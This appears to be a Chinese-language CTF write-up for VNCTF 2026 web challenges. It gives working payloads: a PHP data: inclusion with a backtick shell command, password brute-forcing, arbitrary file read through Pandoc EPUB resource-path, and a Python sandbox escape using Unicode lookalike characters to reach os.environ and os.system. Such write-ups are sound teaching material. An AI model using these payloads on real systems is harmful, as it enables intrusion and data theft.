VNCTF 2026-web(部分wp无java反序列化)
审视源码发现过滤了['/', 'convert', 'base', 'text', 'plain']由GET体file传参进行文件包含(当file长度小等于20时)于是便可以用data协议进行文件上传包含,但是//被ban,所以可以用短符号简写绕过:data;,然后,由于include具有解析上传文件的特性,能把上传的文件当作php代码识别,故可以写出以下payload:?file=data:,<
Signin
审视源码发现过滤了['/', 'convert', 'base', 'text', 'plain']
由GET体file传参进行文件包含(当file长度小等于20时)
于是便可以用data协议进行文件上传包含,但是//被ban,所以可以用短符号简写绕过:data;,
然后,由于include具有解析上传文件的特性,能把上传的文件当作php代码识别,故可以写出以下payload:?file=data:,<?phpinfo();?>
phpinfo显示short_open_tag=On,所以可以用短标签减少字数
随后就可以构建一句话了
原本是<?=eval($_GET[x]);这样的,但是长度超20了
于是上网搜得反引号是 shell_exec() 的语法糖
即`$_GET[0]` === shell_exec($_GET[0])
(题目不支持POST传参)
所以构得最后payload:?file=data:,<?=`$_GET[x]`;&x=cat /flag
得到flag

渗透测试
题目是一个登录框,给了一个密码附件,很明显是要去爆破密码,一共两万个密码()
Burp suite抓包发现上传的参数被加密了,所以直接用intruder爆破肯定不现实,所以便然ai写了个模拟键盘输入的python脚本一个个爆破密码,用户名admin
最后跑了一个晚上跑出来了(分多个虚拟机同时跑),密码是5V26s9dBZQVBZgyyVC00baeW

Markdown2world
首先试了一下上传别的后缀文件,提示只能上传.md或.markdown后缀的文件,于是只能在Pandoc机制,转换机制,和不同类型文件的特性中研究
题目提示了
于是只能上网搜一下这几种文件都有哪些可能的漏洞
发现可以试试tamplate模板注入,于是构造payload:
---
template: /flag
---
xxxxxxxxx(一定要写)
上传,发现被拦截了
template和reference-doc被过滤,pdf文件有上传不了,只能试试通过资源文件引用+EPUB打包机制 进行任意文件读取,或者通过文件名注入命令了
首先是看了上传后文件名会被重新修改,于是随便上传了一个名为<?phpinfo();?>.md的文件。但是没用
那就只能试试Pandoc的特性:
Pandoc生成EPUB时,有一个特性叫 "Resource Fetching"(资源抓取),只要通过构造特殊的资源抓取语句来改变EPUB抓取的资源的路径即可达到类似于“文件包含”的效果,将flag打包下载下来
Payload(可以多设几条路径提高拿到flag的概率):
---
resource-path: ["/", "/tmp", "/home/ctf", "."]
---

下载下来后可以改后缀为.zip来解压
在解压包中拿到flag:


(本来想试试docx和html的漏洞的,但试了几个常见的payload发现没那么简单)
I really really really
看到题目发现考的是python沙箱逃逸(慌了),只能现学现卖了()
先进行简单的fuzz测试,发现常规的’ “ [ ] { } __ ;和数字0-9都被过滤了,hint提及unicode,于是就去搜寻这些字符有关的unicode编码其他格式(查了超多资料,这里只写了有用的编码)
发现单引号: ʼ [U+02BC]修饰符右单引号
没被过滤
发现_没被过滤
就想着引入模块去做,结果发现几乎全部的模块都被删了(应该是所有的)
首先先要解决__的问题,这里用了fuzz测试了多种组合:_̲ ﹍﹎ ﹏﹍ ⁔﹍ ﹋﹌等等等一大把
最后发现只有_̲ 和 ﹎_没被过滤,本来以为_̲ 可以,结果不知道为啥系统自动识别成了普通字符


随后就是关键字的问题,本来想着用ʼ claʼ +ʼss ʼ的方法绕过的,但是失败了,但是后来看到题目的字体后才发觉可以试试数学花体字母𝓬𝓵𝓪𝓼𝓼,于是就成功了
等基本的完工后就运用一点ssti的知识读取flag
但是不知道为啥始终返回空白
等后面群里师傅说在环境变量里也有flag才找到另一条生路
首先鉴于单行字符不能超过30,所以采用拼接的方式串联起payload:
a=()
b=a._﹍𝓬𝓵𝓪𝓼𝓼﹍_
c=b._﹍𝓫𝓪𝓼𝓮﹍_
d=c._﹍𝓼𝓾𝓫𝓬𝓵𝓪𝓼𝓼𝓮𝓼﹍_()
for x in d:
try:
g=x._﹍𝓲𝓷𝓲𝓽﹍_._﹍𝓰𝓵𝓸𝓫𝓪𝓵𝓼﹍_
except:pass
随后就是通过报错
(触发AssertionError: <r的内容>,错误信息一定会显示在网页回显中)读取environ字典了
a=()
b=a._﹍𝓬𝓵𝓪𝓼𝓼﹍_
c=b._﹍𝓫𝓪𝓼𝓮﹍_
d=c._﹍𝓼𝓾𝓫𝓬𝓵𝓪𝓼𝓼𝓮𝓼﹍_()
r=()
for x in d:
try:
g=x._﹍𝓲𝓷𝓲𝓽﹍_._﹍𝓰𝓵𝓸𝓫𝓪𝓵𝓼﹍_
e=g.get(k).environ
r=e
except:pass
assert ...!=...,r
但是这个回显是
跟ai探讨了一个小时左右,发现原来不是模块被删了,而是放到别的模块去了(应该是的),所以只能利用一个try/expect循环遍历__init__.__globals__找到包含os模块的globals
最后生成的payload如下:
a=()
b=a._﹍𝓬𝓵𝓪𝓼𝓼﹍_
c=b._﹍𝓫𝓪𝓼𝓮﹍_
d=c._﹍𝓼𝓾𝓫𝓬𝓵𝓪𝓼𝓼𝓮𝓼﹍_()
r=()
for x in d:
try:
g=x._﹍𝓲𝓷𝓲𝓽﹍_._﹍𝓰𝓵𝓸𝓫𝓪𝓵𝓼﹍_
for k in g:
try:
e=g.get(k).environ
r=e
except:pass
except:pass
assert ...!=...,r
在环境变量中找到flag:
其实我本来是想把flag导入到同目录的文件中的
a=()
b=a._﹍𝓬𝓵𝓪𝓼𝓼﹍_
c=b._﹍𝓫𝓪𝓼𝓮﹍_
d=c._﹍𝓼𝓾𝓫𝓬𝓵𝓪𝓼𝓼𝓮𝓼﹍_()
r=()
for x in d:
try:
g=x._﹍𝓲𝓷𝓲𝓽﹍_._﹍𝓰𝓵𝓸𝓫𝓪𝓵𝓼﹍_
h=g.get(ʼosʼ)
h.system(ʼcat /flag>/tmp/aʼ)
except:
pass
assert ...!=...,r
但是代码太长了,导致不能实现
更多推荐


所有评论(0)